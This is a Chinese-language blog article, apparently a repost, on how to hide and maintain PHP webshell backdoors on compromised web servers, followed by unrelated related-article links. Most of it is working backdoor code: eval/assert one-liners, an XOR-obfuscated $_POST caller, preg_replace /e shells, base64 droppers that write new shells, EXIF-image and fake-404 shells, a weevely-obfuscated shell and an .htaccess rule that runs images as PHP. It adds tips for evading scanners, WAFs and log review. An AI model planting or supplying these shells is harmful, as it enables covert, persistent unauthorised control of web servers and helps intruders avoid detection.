PHP后门隐藏与维持技巧
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。
AD:
0×00前言
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.
以PHP-WEBBACKDOOR为例,抛砖引玉
一个最常见的一句话后门可能写作这样
- <?php @eval($_POST['cmd']);?>
或这样
- <?php @assert($_POST['cmd']);?>
当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.
但是运维直观寻找我们shell的方式也有很多,如
◆通过文件名/修改时间/大小,文件备份比对发现异常
◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等
◆通过Access.log访问日志发现后门所在
◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等
针对常见的检测方式,总结以下七常用手法对shell进行隐藏
0×01规避
看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的
常见的关键词如:
◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的
tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用
- <?php
- @$_++; // $_ = 1
- $__=("#"^"|"); // $__ = _
- $__.=("."^"~"); // _P
- $__.=("/"^"`"); // _PO
- $__.=("|"^"/"); // _POS
- $__.=("{"^"/"); // _POST
- ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
- ?>
构造生成,当然,嫌太直观可以写作这样
- <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
执行无误,且绕过普通扫描器,也可依赖之写新的临时shell
0×02特性
借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)
eg.:
- ${@eval(phpinfo())}
{}可解析双引号内的变量内容,@保持出错后继续执行
然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace
- <?php @preg_replace("//e",$_POST['cmd'],"");?>
这玩法显然已经进了扫描器黑名单,简单修改下
- <?php
- function funfunc($str){}
- echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);
- ?>
执行了,没有被发现
执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行
- funfunc("{${phpinfo()}}")
另一种方法
- <?php @assert("\$arr=\"".$_GET['cmd']."\";");?>
0×03包含
文件包含是众人都玩过的方法,只是包含也有技巧
普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现
看此脚本
- <?php
- if(@isset($_GET[content]))
- {
- $fp=fopen('README','w');
- file_put_contents('README',"<?php\r\n");
- @file_put_contents('README',$_GET[content],FILE_APPEND);
- fclose($fp);
- require 'README';}
- ?>
算是解决了一点问题,需求的shell可随用随生成,进而包含之
可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现
编码生成的方式创建shell,随访问而生成.
- <?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ?>
可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.
当然对于启发式之类的新概念就不考虑了
在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片
- <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>
这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行
此处可能会提示 Call to undefined function exif_read_data()
需要修改php.ini, extension=php_exif.dll
将其加载顺序改为extension=php_mbstring.dll的后面
可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒
当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…
0×04隐匿
为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head>
- <body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- </body>
- </html>
- <?php
- @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");
- ?>
借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了
但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本
- <?php
- header('HTTP/1.1 404');
- ob_start();
- @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ob_end_clean();
- ?>
访问之,是真正的404,没错,日志中也是这样
但此刻当前目录已生成我们要连接的脚本
0×05混淆
用过weevely工具的童鞋应该知道,其生成的免杀shell像这样
- <?php
- $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
- $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
- $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
- $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
- $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
- $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
- $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
- $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
- ?>
终端下连接后像这样
Ps:截图忘记修改终端编码了:(
其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程
当然,这是在代码层面混淆视听以躲过扫描器
更常用的混淆视听的方法:
◆修改文件时间
◆改名融入上传后所在文件夹,让人无法直观看出文件异常
◆文件大小的伪装处理(至少看起大小像个正常脚本)
◆选好藏身路径并尽量少的访问
◆畸形目录%20
关于空格目录,还是相对容易被发现的
0×06解析
利用.htaccess,添加解析后门
如:
- AddType application/x-httpd-php .jpg
以上以weeverly为例
0×07杂糅
总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场 合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.
PHP后门隐藏与维持技巧的更多相关文章
- Word隐藏回车符技巧
每一次在Word中敲击回车时,都会留下一个回车符,回车次数多了回车符也就跟着变多了,这的确是太影响视觉效果了,我们要如何操作才能将这些回车符去掉呢?特意为大家献上Word2003和Word2007中隐 ...
- Rootkit与后门隐藏技术
目录 简介 linux虚拟文件系统VFS rootkit的功能 隐藏文件 基本方法 高级方法 系统调用流程 hook sys_getdents sys_getdents的调用树 最底层的方法 隐藏进程 ...
- Windows隐藏用户小技巧
0x01 前言 本文目的在于对于Windows账户访问与控制的技术理论进行分析与总结,熟悉了解Windows账户的特性及相关操作,并依此进行Windows账户的相关实验,进行实验记录与总结.通过本文记 ...
- 显示 隐藏DIV的技巧
使用bootstrap的12分栅来演示 style="display: none;" 隐藏后释放占用的页面空间 document.getElementById("type ...
- HTML 显示/隐藏DIV的技巧(visibility与display的差别)
参考链接:http://blog.csdn.net/szwangdf/article/details/1548807 div的visibility可以控制div的显示和隐藏,但是隐藏后页面显示空白: ...
- airpods2隐藏的使用技巧(十)点
airpods的凭借出色的外观.不错的音质以及非常人性化的用户体验秒杀了同类型的许多真无线蓝牙耳机,以下是第二代产品airpods2一些使用的技巧,推荐给大家. 一. 随时随地查看airpods2 ...
- php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- php一句话后门过狗姿势万千之传输层加工(1)
写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...
随机推荐
- 用javascript去掉字符串空格的办法
今天遇到了以关于JavaScript 中怎么去掉 字符串中前后两段的空格 ,我只好向就得js中也后Trim() 函数,后来试试了不 行,就网上找了下解决方法,其中用到了正则表达式 ,整理了下: < ...
- c#对Aspose.Word替换书签内容的简单封装
辅助类1 json和datatable互转: using System; using System.Collections.Generic; using System.Linq; using S ...
- 【Unity】13.3 Realtime GI示例
分类:Unity.C#.VS2015 创建日期:2016-04-19 一.简介 使用简单示例而不是使用实际示例的好处是能让你快速理解光照贴图和光影效果相关的概念和基本设置办法,这样可避免实际复杂场景中 ...
- 重新想象 Windows 8 Store Apps (60) - 通信: 获取网络信息, 序列化和反序列化
[源码下载] 重新想象 Windows 8 Store Apps (60) - 通信: 获取网络信息, 序列化和反序列化 作者:webabcd 介绍重新想象 Windows 8 Store Apps ...
- 重新想象 Windows 8.1 Store Apps (82) - 绑定: DataContextChanged, TargetNullValue, FallbackValue, UpdateSourceTrigger
[源码下载] 重新想象 Windows 8.1 Store Apps (82) - 绑定: DataContextChanged, TargetNullValue, FallbackValue, Up ...
- HTML5的新特性
HTML5 中的一些有趣的新特性: 用于绘画的 canvas 元素 用于媒介回放的 video 和 audio 元素 对本地离线存储的更好的支持 新的特殊内容元素,比如 article.footer. ...
- Android 手机卫士17--缓存清理
清理单个应用缓存 通过反射调用方法 需要权限:android.permission.DELETE_CACHE_FILES. 以上权限为系统权限,手机卫士应用为用户应用,不能拿到此权限 换思路: 调用系 ...
- ASP.NET MVC 5 学习教程:快速入门
起飞网 ASP.NET MVC 5 学习教程目录: 添加控制器 添加视图 修改视图和布局页 控制器传递数据给视图 添加模型 创建连接字符串 通过控制器访问模型的数据 生成的代码详解 使用 SQL Se ...
- Android5.0新特性——全新的动画(animation)
全新的动画 在Material Design设计中,为用户与app交互反馈他们的动作行为和提供了视觉上的连贯性.Material主题为控件和Activity的过渡提供了一些默认的动画,在android ...
- ASP.NET HttpRuntime.Cache缓存类使用总结
1.高性能文件缓存key-value存储—Redis 2.高性能文件缓存key-value存储—Memcached 备注:三篇博文结合阅读,简单理解并且使用,如果想深入学习,请多参考文章中给出的博文地 ...